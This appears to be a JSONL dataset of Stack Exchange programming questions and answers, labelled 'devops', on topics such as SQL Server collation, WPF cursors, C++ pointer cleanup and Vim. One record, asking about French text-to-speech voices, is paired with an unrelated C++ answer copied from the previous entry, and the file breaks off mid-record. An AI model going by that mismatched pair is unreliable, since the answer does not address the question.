{"id": "hf_f8c5958dffed", "question": "<p>I would like to find all the rows in a table and match on an exact case sensitive string. Unfortunately, my table has the case insensitive collation. </p>\n\n<p>What is the most efficient way to perform this.</p>\n\n<p>Eg.</p>\n\n<p>I would like the following to return no rows:</p>\n\n<pre><code>select * from sysobject where name = 'Sysbinobjs' \n</code></pre>\n\n<p>For the answer assume @match is in a variable: </p>\n\n<pre><code>declare @match varchar(4000) \nset @match = 'sysbinobjs'\n</code></pre>\n\n<p><strong>EDIT</strong> </p>\n\n<p>Clarification, make sure trailing spaces are treated properly, I want an exact match that takes account of trailing spaces so 'Hello' will only be matched with 'Hello' and not with 'Hello     ' </p>\n", "question_body": "", "answer": "Here is a snippet of code that works, its really tricky to do this in a safe and efficient way. The double match is to avoid a table scan (look at the execution plan). The varbinary casting forces a length and case match. So trailing spaces are treated properly and casing is treated properly.\nNote\nthe type being compared needs to be identical to the type in the table for the varbinary casting to work (eg. name in sysobject is an nvarchar so the @match will need to be an nvarchar).\n```\n```\ndeclare @match nvarchar(4000) \nset @match = 'sysbinobjs'\n\nselect * from sysobjects\nwhere name = @match and\ncast(name as varbinary(4000)) = cast(@match as varbinary(4000))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:07.392783"}
{"id": "hf_e9a7b7bbf61b", "question": "<p>Is it possible to set the size of a checkbox using CSS or HTML across browsers? </p>\n\n<p><code>width</code> and <code>size</code> work in IE6+, but not with Firefox, where the checkbox stays 16x16 even if I set a smaller size.</p>\n", "question_body": "", "answer": "My understanding is that this isn't easy at all to do cross-browser. Instead of trying to manipulate the checkbox control, you could always build your own implementation using images, javascript, and hidden input fields. I'm assuming this is similar to what niceforms is (from Staicu lonut's answer above), but wouldn't be particularly difficult to implement. I believe jQuery has a plugin to allow for this custom behavior as well (will look for the link and post here if I can find it).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:07.435771"}
{"id": "hf_54e3a1669cae", "question": "<p>Why are the code-behind pages for an ASP.NET web application locked at run time? I have older projects (probably defined as \"web sites\" instead of \"web apps\") where I can edit the code behind, refresh the browser, and see my changes. With the web app, I have to continually close and reopen the browser if I want to see my changes live. Is there a setting or something I'm missing to allow me to edit at run time, and without restarting the debugging session?</p>\n", "question_body": "", "answer": "When using IIS as your development server, Edit and continue is not currently available for Visual Studio for ASP.NET.\nSee this\nblog entry\n, however, that shows it is possible for the\nVisual Studio 2005 Web Application Project\nProject type. It requires using the Visual Studio Development Server (Cassini) during development instead of your local IIS (see the properties box on the project).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:07.496308"}
{"id": "hf_acc70d6b0115", "question": "<p>I have a very long-running stored procedure in SQL Server 2005 that I'm trying to debug, and I'm using the 'print' command to do it. The problem is, I'm only getting the messages back from SQL Server at the very end of my sproc - I'd like to be able to flush the message buffer and see these messages immediately during the sproc's runtime, rather than at the very end.</p>\n", "question_body": "", "answer": "Use the\n```\nRAISERROR\n```\nfunction:\n```\n```\nRAISERROR( 'This message will show up right away...',0,1) WITH NOWAIT\n```\n```\nYou shouldn't completely replace all your prints with raiserror.  If you have a loop or large cursor somewhere just do it once or twice per iteration or even just every several iterations.\nAlso: I first learned about RAISERROR at this link, which I now consider the definitive source on SQL Server Error handling and definitely worth a read:\nhttp://www.sommarskog.se/error-handling-I.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:07.520808"}
{"id": "hf_153d07d9428b", "question": "<p>need ask you about some help.</p>\n\n<p>I have web app running in Net 2.0.<br>\nI wanna ask what storage (cache, session, file) I should use for my objects as they have different scope of using. Can be divide into several groups:<br>\n1) objects related directly to visitor (e.g. details about visitor that are received after authentication)<br>\n2) objects that are used for every visitor, so its scope of application (some init data, common data)  </p>\n\n<p>Most of these objects get data from web service, which is expensive.</p>\n\n<p>So what's my best choices considering speed, memory, accessibility and what else I should look out.</p>\n\n<p>Any help most welcome. Thanks, X.</p>\n", "question_body": "", "answer": "Item 1 - Session would most likely be the best as it is per user, however, be sure to limit the number of items there as there are scaling issues, and considerations if in a web farm.\nItem 2 - Depending on what you need, this would be a cache or application level item that you want to add, depending on need for expiration, etc.  The key difference is cache has expiration and usage items that can remove it, application is for things that always stay there.\nOverall, in a web application I strongly recommend AGAINST files as then you have to worry about thread saftey.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:07.544661"}
{"id": "hf_aab2f6311407", "question": "<p>When I open a page(.aspx,xslt,css..etc) from the solution explorer in VS 2008 , it opens to the left of my current active tab. I am used to VS2003/VS2005 where the new page opens up to the right of current active page. How do i set all the pages to open to the right?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "It seems this can't be done in VS 2005/VS 2008\nhttp://connect.microsoft.com/VisualStudio/feedback/ViewFeedback.aspx?FeedbackID=360962\nhttp://www.codeverge.net/ng.asp-net-forum.visual_studio_2005/order-of-document-tabs-in-vs-2005\nPretty sad...its very tough getting used to this behavior", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:07.579777"}
{"id": "hf_bf6a5181c11d", "question": "<p>I have found an example for encrypting a web.config during installation <a href=\"http://madtechnology.wordpress.com/2007/05/04/using-wix-to-secure-a-connection-string/\" rel=\"nofollow noreferrer\">here</a>, but my app is a windows service.  The <code>aspnetreg_iis</code> method works only for web.config files.</p>\n\n<p>I know how to programatically encrypt the config file, but I don't think I can do that using WiX.  Am I wrong?  Any ideas?</p>\n", "question_body": "", "answer": "You should be able to do it within a custom action.  The catch that I've found is that loading an assembly for an ExeConfigurationFileMap will throw an exception, but you can handle that by adding an AssemblyResolve handler to the AppDomain.  This is kind of a hack-up from a rich-client app I wrote to encrypt/decrypt protected configuration sections using a machine encryption key.  It's probably not the prettiest code, but I'm hoping you can get the picture from it.  This code assumes that you have the ProtectionProvider you want to use defined in the config file.\n```\n```\n//class global\nstatic System.Reflection.Assembly DefiningAssembly;\n\nAppDomain currentDomain = AppDomain.CurrentDomain;\ncurrentDomain.AssemblyResolve += new ResolveEventHandler(MyResolveEventHandler);\n\nstatic System.Reflection.Assembly MyResolveEventHandler(object sender, ResolveEventArgs args)\n{\n     return DefiningAssembly;\n}\n```\n```\nThen, you can load your configuration like this:\n```\n```\nDefiningAssembly = System.Reflection.Assembly.LoadFrom(\"path to defining assembly for config\");\n\n//Set the Configuration using an ExeConfigurationFileMap - This works for any .config file.\nExeConfigurationFileMap CfgMap = new ExeConfigurationFileMap();\nCfgMap.ExeConfigFilename = \"path to config file\";\nConfiguration config = ConfigurationManager.OpenMappedExeConfiguration(CfgMap, ConfigurationUserLevel.None);\n\nList<string> DefiningAssemblyTypes = new List<string>();\nforeach (System.Type type in DefiningAssembly.GetExportedTypes())\n{\n     DefiningAssemblyTypes.Add(type.Name);\n}\n\nforeach (ConfigurationSection tempSection in config.Sections)\n{\n     if (DefiningAssemblyTypes.Contains(tempSection.ElementInformation.Type.Name))\n     {\n          section = tempSection;\n          break;\n     }\n}\nProtectionProviderName = section.SectionInformation.ProtectionProvider.Name;\nsection.SectionInformation.ProtectSection(ProtectionProviderName);\nconfig.Save(ConfigurationSaveMode.Minimal, true);\n```\n```\nI hope this helps you, best of luck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:07.604076"}
{"id": "hf_6b9b5151596f", "question": "<p>On several of my usercontrols, I change the cursor by using</p>\n\n<pre><code>this.Cursor = Cursors.Wait;\n</code></pre>\n\n<p>when I click on something.</p>\n\n<p>Now I want to do the same thing on a WPF page on a button click.  When I hover over my button, the cursor changes to a hand, but when I click it, it doesn't change to the wait cursor.  I wonder if this has something to do with the fact that it's a button, or because this is a page and not a usercontrol?  This seems like weird behavior.</p>\n", "question_body": "", "answer": "Do you need the cursor to be a \"wait\" cursor only when it's over that particular page/usercontrol? If not, I'd suggest using\nMouse.OverrideCursor\n:\n```\n```\nMouse.OverrideCursor = Cursors.Wait;\ntry\n{\n    // do stuff\n}\nfinally\n{\n    Mouse.OverrideCursor = null;\n}\n```\n```\nThis overrides the cursor for your application rather than just for a part of its UI, so the problem you're describing goes away.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:07.653237"}
{"id": "hf_0b5e1b79a7f9", "question": "<p>I'm working on an application controller for a program that is spitting text directly to /dev/tty.</p>\n\n<p>This is a production application controller that must be able to catch all text going to the terminal. Generally, this isn't a problem. We simply redirect stdout and stderr. This particular application is making direct calls to echo and redirecting the result to /dev/tty (<code>echo \"some text\" &gt; /dev/tty</code>). Redirects via my application controller are failing to catch the text.</p>\n\n<p>I do have the source for this application, but am not in a position to modify it, nor is it being maintained anymore. Any ideas on how to catch and/or throw away the output? </p>\n", "question_body": "", "answer": "```\n```\nscreen -D -m yourEvilProgram\n```\n```\nshould work. Much time passed sinced I used it, but if you need to read some of its output it could even be possible that you could utilize some sockets to read it.\n[\nAdded\n: two links,\nRackaid\nand\nPixelbeat\n, and the home page at\nGNU\n]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:07.677532"}
{"id": "hf_e2ffd95016ab", "question": "<p>Everyone is familiar with this functionality.  If you open up the the outlook address book and start typing a name, the list below the searchbox instantly filters to only contain items that match your query.  .NET Reflector has a similar feature when you're browsing types ... you start typing, and regardless of how large the underlying assembly is that you're browsing, it's near instantaneous.</p>\n\n<p>I've always kind of wondered what the secret sauce was here.  How is it so fast?  I imagine there are also different algorithms if the data is present in-memory, or if they need to be fetched from some external source (ie. DB, searching some file, etc.).</p>\n\n<p>I'm not sure if this would be relevant, but if there are resources out there, I'm particularly interested how one might do this with WinForms ... but if you know of general resources, I'm interested in those as well :-)</p>\n", "question_body": "", "answer": "What is the most common use of the trie data structure?\nA Trie is basically a tree-structure for storing a large list of similar strings, which provides fast lookup of strings (like a hashtable) and allows you to iterate over them in alphabetical order.\nImage from:\nhttp://en.wikipedia.org/wiki/Trie\n:\nIn this case, the Trie stores the strings:\ni\nin\ninn\nto\ntea\nten\nFor any prefix that you enter (for example, 't', or 'te'), you can easily lookup all of the words that start with that prefix. More importantly, lookups are dependent on the length of the string, not on how many strings are stored in the Trie. Read the wikipedia article I referenced to learn more.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:07.701845"}
{"id": "hf_31a33682d2d6", "question": "<p>This isn't working.  Can this be done in find?  Or do I need to xargs?</p>\n\n<pre><code>find -name 'file_*' -follow -type f -exec zcat {} \\| agrep -dEOE 'grep' \\;\n</code></pre>\n", "question_body": "", "answer": "```\n```\nfind . -name \"file_*\" -follow -type f -print0 | xargs -0 zcat | agrep -dEOE 'grep'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:07.754592"}
{"id": "hf_127b6dbc10be", "question": "<p>The rails books and web pages I've been following have all stuck to very simple projects for the sake of providing complete examples.  I'm moving away from the small project app and into a realm of non-browser clients and need to decide where to put code that is shared by all involved parties.</p>\n\n<p>The non-browser client is a script that runs on any machine which can connect to the database.  Browser clients write commands into the database, which the script examines and decides what to do.  Upon completion, the script then writes its result back.  The script is not started by the RoR server, but has access to its directory structure.</p>\n\n<p>Where would be the best place for shared code to live, and how would the RoR loader handle it?  The code in question doesn't really belong in a model, otherwise I'd drop it in there and be done with it.</p>\n", "question_body": "", "answer": "I'd put the shared code in the Rails project's\n```\n/lib\n```\ndirectory and consider making it a custom Rake task.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:07.839731"}
{"id": "hf_8170c9aba338", "question": "<p>What is the shortest chunk of C++ you can come up with to safely clean up a <code>std::vector</code> or <code>std::list</code> of pointers?  (assuming you have to call delete on the pointers?)</p>\n<pre><code>list&lt;Foo*&gt; foo_list;\n</code></pre>\n<p>I'd rather not use Boost or wrap my pointers with smart pointers.</p>\n", "question_body": "", "answer": "```\n```\ntemplate< typename T >\nstruct delete_ptr : public std::unary_function<T,bool>\n{\n   bool operator()(T*pT) const { delete pT; return true; }\n};\n\nstd::for_each(foo_list.begin(), foo_list.end(), delete_ptr<Foo>());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:07.947773"}
{"id": "hf_1fd1dad03874", "question": "<p>The .net framework 3.5 (or vista) provides me with an English voice (David I think) to use with the Speech.Synthesis api. I need a french voice to use with a french dictation practice app I am building for my kids to use to improve their french spelling. The api allows me to change culture when creating a voice, but the default English voice cannot pronounce the french words correctly.</p>\n\n<p>I have been unable to find any way to download a french voice from Microsoft. Is this possible? I did download a Demo commercial voice from Cepstral, but it is crippled in a way that makes it unusable (even for testing). I did not want to buy anything as this exercise is just for fun.</p>\n\n<p>I had hoped alternative language voices might be easily had without resort to the commercial professional voices. Any free alternatives?</p>\n", "question_body": "", "answer": "```\n```\ntemplate< typename T >\nstruct delete_ptr : public std::unary_function<T,bool>\n{\n   bool operator()(T*pT) const { delete pT; return true; }\n};\n\nstd::for_each(foo_list.begin(), foo_list.end(), delete_ptr<Foo>());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:07.972298"}
{"id": "hf_e05fad103e52", "question": "<p>i get a Keyword not supported: '192.168.1.1;initial catalog'. error when trying to do this </p>\n\n<p><code>Dim cn As New SqlConnection(str)</code> </p>\n\n<p>where str is the connection string starts with '192.168.1.1;initial catalog' ...\nI have not specified the provider in the connection string</p>\n", "question_body": "", "answer": "you need to provide a properly formatted connectionstring such as:\n```\n```\nDim str As String\nstr = \"Data Source=myServerAddress;Initial Catalog=myDataBase;User Id=myUsername;Password=myPassword;\"\n\nDim cn As New SqlConnection(str)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:08.034478"}
{"id": "hf_c199afca72be", "question": "<p>I'm having trouble with this code:</p>\n\n<pre><code>NSRect itemFrame;\nid item;\n// code to assign item goes here.\nitemFrame.origin.y -= [item respondsToSelector:@selector(selectedHeight)] ? [item selectedHeight]   : [self defaultSelectedHeight];\n</code></pre>\n\n<p>This is the problematic bit:</p>\n\n<pre><code>[item selectedHeight]\n</code></pre>\n\n<p>The compiler is assuming that the return type is id. I though that adding a cast would fix this:</p>\n\n<pre><code>(float)[item selectedHeight]\n</code></pre>\n\n<p>but it doesn't work. </p>\n\n<p>What am I doing wrong? (I suspect the problem is to do with resolving pointers related to id but I can't find any relevant documentation).</p>\n", "question_body": "", "answer": "You need to look at the declaration of your\n```\nselectedHeight\n```\nmethod. The problem is either that the method is returning a pointer to an object (id), or you haven't imported the header file for\n```\nitem\n```\nin the file that contains the code snippet, so Xcode assumes it's a pointer by default.\nYou can't cast a pointer to a float, since they're fundamentally incompatible types. Once you get your declarations straightened out though you should be okay.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:08.082526"}
{"id": "hf_e979067c8793", "question": "<p>I need to test for general URLs using any protocol (http, https, shttp, ftp, svn, mysql and things I don't know about).</p>\n\n<p>My first pass is this:</p>\n\n<pre><code>\\w+://(\\w+\\.)+[\\w+](/[\\w]+)(\\?[-A-Z0-9+&amp;@#/%=~_|!:,.;]*)?\n</code></pre>\n\n<p>(<a href=\"http://perldoc.perl.org/perlre.html\" rel=\"nofollow noreferrer\">PCRE</a> and <a href=\"http://msdn.microsoft.com/en-us/library/hs600312.aspx\" rel=\"nofollow noreferrer\">.NET</a> so nothing to fancy)</p>\n", "question_body": "", "answer": "adding that RegEx as a wiki answer:\n```\n```\n[\\w+-]+://([a-zA-Z0-9]+\\.)+[[a-zA-Z0-9]+](/[%\\w]+)(\\?[-A-Z0-9+&@#/%=~_|!:,.;]*)?\n```\n```\noption 2 (Re CMS)\n```\n```\n^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\\?([^#]*))?(#(.*))?\n```\n```\nBut that's to lax for anything sane so trimmed to make it more restrictive and to differentiate off other things.\n```\n```\nproto      ://  name      : pass      @  server    :port      /path     ? args\n^([^:/?#]+)://(([^/?#@:]+(:[^/?#@:]+)?@)?[^/?#@:]+(:[0-9]+)?)(/[^?#]*)(\\?([^#]*))?\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:08.107322"}
{"id": "hf_fb24a17470d3", "question": "<p>Vim is acting slow when I scroll. The cursor skips some lines when I'm pressing j/k continually.</p>\n\n<p>I'm using xterm and urxvt. In both vim acts like this.</p>\n\n<p>This happens locally, with small or big files. I do use Control + F/B they work just fine.</p>\n\n<p>EDIT: ttyfast in small files did the trick but in bigger is the same. When running without customization it goes allright.</p>\n", "question_body": "", "answer": "Have you tried the 'ttyfast' option? See:\n```\n```\n:help 'ttyfast'\n```\n```\nfor help, and:\n```\n```\n:set ttyfast\n```\n```\nto enable it.\nAlso, what version are you using? And have you tried this with no customizations to see if something you've set is interfering?\nRun it like this to omit any of your vimrc settings and plugins:\n```\n```\nvim -u NONE\n```\n```\nEDIT: If removal of customizations fixes it. Remove things iteratively until the behavior returns. Start by narrowing it down to either a vimrc problem or to plugins.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:08.132921"}
{"id": "hf_9e0fee632177", "question": "<p>What do I gain by adding a timestamp column called recordversion to a table in ms-sql?</p>\n", "question_body": "", "answer": "Nothing that I'm aware of, or that Google seems to find quickly.\nYou con't get anything inherent by using that name for a column.  Sure, you can create a column and do the record versioning as described in the next response, but there's nothing special about the column name.  You could call the column anything you want and do versioning, and you could call any column RecordVersion and nothing special would happen.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:08.158191"}
{"id": "hf_b50652646afc", "question": "<p>Is this defined by the language? Is there a defined maximum? Is it different in different browsers?</p>\n", "question_body": "", "answer": ">= ES6:\n```\n```\nNumber.MIN_SAFE_INTEGER;\nNumber.MAX_SAFE_INTEGER;\n```\n```\n<= ES5\nFrom\nthe reference\n:\n```\n```\nNumber.MAX_VALUE;\nNumber.MIN_VALUE;\n```\n```\n```\n```\nconsole.log('MIN_VALUE', Number.MIN_VALUE);\nconsole.log('MAX_VALUE', Number.MAX_VALUE);\n\nconsole.log('MIN_SAFE_INTEGER', Number.MIN_SAFE_INTEGER); //ES6\nconsole.log('MAX_SAFE_INTEGER', Number.MAX_SAFE_INTEGER); //ES6\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:08.182633"}
{"id": "hf_828691267f98", "question": "<p>In .NET is there a function that tests if a string is syntactically a correct path? I specifically don't want it to test if the path actually exists.</p>\n\n<p>my current take on this is a regex:</p>\n\n<pre><code>([a-zA-Z]:|\\\\)?\\\\?([^/\\\\:*?\"&lt;&gt;|]+[/\\\\])*[^/\\\\:*?\"&lt;&gt;|]*\n</code></pre>\n\n<p>matches:</p>\n\n<pre><code>c:\\\nbbbb\n\\\\bob/john\\\n..\\..\\\n</code></pre>\n\n<p>rejects:</p>\n\n<pre><code>xy:\nc:\\\\bob\n</code></pre>\n", "question_body": "", "answer": "I'd suggest just using a regex for this since you specifically don't want to test if the path exists.\nHere's something\ngoogle helped me dig up\n:\n```\n```\nRegEx=\"^([a-zA-Z]\\:|\\\\\\\\[^\\/\\\\:*?\"<>|]+\\\\[^\\/\\\\:*?\"<>|]+)(\\\\[^\\/\\\\:*?\"<>|]+)+(\\.[^\\/\\\\:*?\"<>|]+)$\"\n```\n```\nYou could combine this with System.IO.Path.GetInvalidPathChars() method and make the regex dynamically exclude all of the invalid characters.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:08.207952"}
{"id": "hf_9faac622af14", "question": "<p>I want to store a URL prefix in an Windows environment variable. The ampersands in the query string makes this troublesome though.</p>\n\n<p>For example: I have a URL prefix of <code>http://example.com?foo=1&amp;bar=</code> and want to create a full URL by providing a value for the <code>bar</code> parameter. I then want to launch that URL using the \"start\" command.</p>\n\n<p>Adding quotes around the value for the SET operation is easy enough:</p>\n\n<pre><code>set myvar=\"http://example.com?foo=1&amp;bar=\"\n</code></pre>\n\n<p>Windows includes the quotes in the actual value though (thanks Windows!):</p>\n\n<pre><code>echo %myvar%\n\"http://example.com?foo=1&amp;bar=true\"\n</code></pre>\n\n<p>I know that I can strip quotes away from batch file arguments by using tilde:</p>\n\n<pre><code>echo %~1\n</code></pre>\n\n<p>However, I can't seem to do it to named variables:</p>\n\n<pre><code>echo %~myvar%\n%~myvar%\n</code></pre>\n\n<p>What's the syntax for accomplishing this?</p>\n", "question_body": "", "answer": "I think this should do it:\n```\n```\nfor /f \"tokens=*\" %i in (%myvar%) do set %myvar%=%~i\n```\n```\nBut you do not need this,\n```\n```\nset myvar=\"http://example.com?foo=1&bar=\"\nstart \"\" %myvar%\n```\n```\nWill work too, you just need to supply a title to the start command.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:08.232952"}
{"id": "hf_b5d450705c7d", "question": "<p>I have a field in my form labeled \"Name\" that will contain both the First &amp; Last name.</p>\n\n<p>Our existing dynamic server (to which the form is being POSTed to), expects two separate fields (first name, last name). </p>\n\n<p>Can I use Javascript to split the user input into two separate variables before the form is posted to the server?  How would I do this?</p>\n", "question_body": "", "answer": "You can do something like this:\n```\n```\nvar yourForm = document.getElementById('yourFormId');\nyourform.onsubmit = new function()\n{\n    var nameBox = document.getElementById('nameBox');\n    var fname = document.createElement('INPUT');\n    var lname = document.createElement('INPUT');\n    fname.type = 'HIDDEN';\n    lname.type = 'HIDDEN';\n    fname.name = 'fname';\n    lname.name = 'lname';\n\n    var tokens = nameBox.value.split(' ');\n\n    // Note there are a million ways to break this parser, demonstration only\n    fname.value = tokens[0];\n    lname.value = tokens[1];\n\n    yourForm.appendChild(fname);\n    yourForm.appendChild(lname);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:08.320830"}
{"id": "hf_a99cb5bff82e", "question": "<p>I have the whole MVC-Model set up and use HTML views as templates. But I have german strings in there that I would like to translate to other languages at some point.</p>\n\n<p>What is the best way to do this? I know I have to use Zend_Translate, but do I have to implement a single call to a translate function for every word that I have in my view templates?</p>\n", "question_body": "", "answer": "First of all, I'd suggest to use complete phrases as the basis for your translation. With words you always have the problem that languages are not consistent when it comes to  sentence structure.\nThen you have to choose one of the available Zend_Transalate adapters: Array, Csv, Gettext, Ini, Tbx, Tmx, Qt, Xliff or XmlTm. Most of them are adapters to industry standards for storing translation information, so it probably would suffice if you chose Array, Csv or Ini for the beginning and for the ease of use. Please see\n49.2.1. How to decide which translation adapter to use\nin the Zend Framework manual.\n```\n```\n// setup your translation\n$translate = new Zend_Translate('csv', '/my/path/source-de.csv', 'de');\n$translate->addTranslation('/my/path/source-en.csv', 'en');\n// add the translation adapter to the registry\nZend_Registry::set('Zend_Translate', $translate);\n```\n```\nAs there is a\n```\nZend_View_Helper_Translate\n```\nthat access the standardized\n```\nZend_Registry\n```\nentry\n```\nZend_Translate\n```\nas the default translation source, you can use the following in your views:\n```\n```\n[...]\n<title><?php echo this->translate('Title'); ?></title>\n[...]\n<p>You can also do <?php echo $this->translate('Hello %1$s', $this->userName); ?></p>\n[...]\n```\n```\nPlease note that this only is a short introduction into\n```\nZend_Translate\n```\nand by no means a complete presentation of the functionality provided by this component. For example there is a lot to be said about determining the locale the translation adapter will use.\nI'd suggest you read the following in the Zend Framework manual, because localization can be a complex issue and\n```\nZend_Translate\n```\ncan not be described entirely in here:\n53.4.1.13. Translate Helper\nChapter 49. Zend_Translate", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:08.345702"}
{"id": "hf_cec71e3dba68", "question": "<p>What's the easiest way to play a sound file (.wav) in Python? By easiest I mean both most platform independent and requiring the least dependencies. pygame is certainly an option, but it seems overkill for just sound.</p>\n", "question_body": "", "answer": "pyMedia's sound example does\njust that\n. This should be all you need.\n```\n```\nimport time, wave, pymedia.audio.sound as sound\nf= wave.open( 'YOUR FILE NAME', 'rb' )\nsampleRate= f.getframerate()\nchannels= f.getnchannels()\nformat= sound.AFMT_S16_LE\nsnd= sound.Output( sampleRate, channels, format )\ns= f.readframes( 300000 )\nsnd.play( s )\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:08.458797"}
{"id": "hf_a8e736a99e20", "question": "<p>how to create a good plugin engine for standalone executables created with pyInstaller, py2exe or similar tools? </p>\n\n<p>I do not have experience with py2exe, but pyInstaller uses an import hook to import packages from it's compressed repository. Of course I am able to import dynamically another compressed repository created with pyInstaller and execute the code - this may be a simple plugin engine.</p>\n\n<p>Problems appears when the plugin (this what is imported dynamically) uses a library that is not present in original repository (never imported). This is because import hook is for the original application and searches for packages in original repository - not the one imported later (plugin package repository). </p>\n\n<p>Is there an easy way to solve this problem? Maybe there exist such engine?</p>\n", "question_body": "", "answer": "When compiling to exe, your going to have this issue.\nThe only option I can think of to allow users access with thier plugins to use any python library is to include all libraries in the exe package.\nIt's probably a good idea to limit supported libraries to a subset, and list it in your documentation. Up to you.\nI've only used py2exe.\nIn py2exe you can specify libraries that were not found in the search in the\nsetup.py\nfile.\nHere's a sample:\n```\n```\nfrom distutils.core import setup\nimport py2exe\n\nsetup (name = \"script2compile\",\n       console=['script2compile.pyw'],\n       version = \"1.4\",\n       author = \"me\",\n       author_email=\"somemail@me.com\",\n       url=\"myurl.com\",\n       windows = [{\n                    \"script\":\"script2compile.pyw\",\n                    \"icon_resources\":[(1,\"./ICONS/app.ico\")]  # Icon file to use for display\n                 }],\n       # put packages/libraries 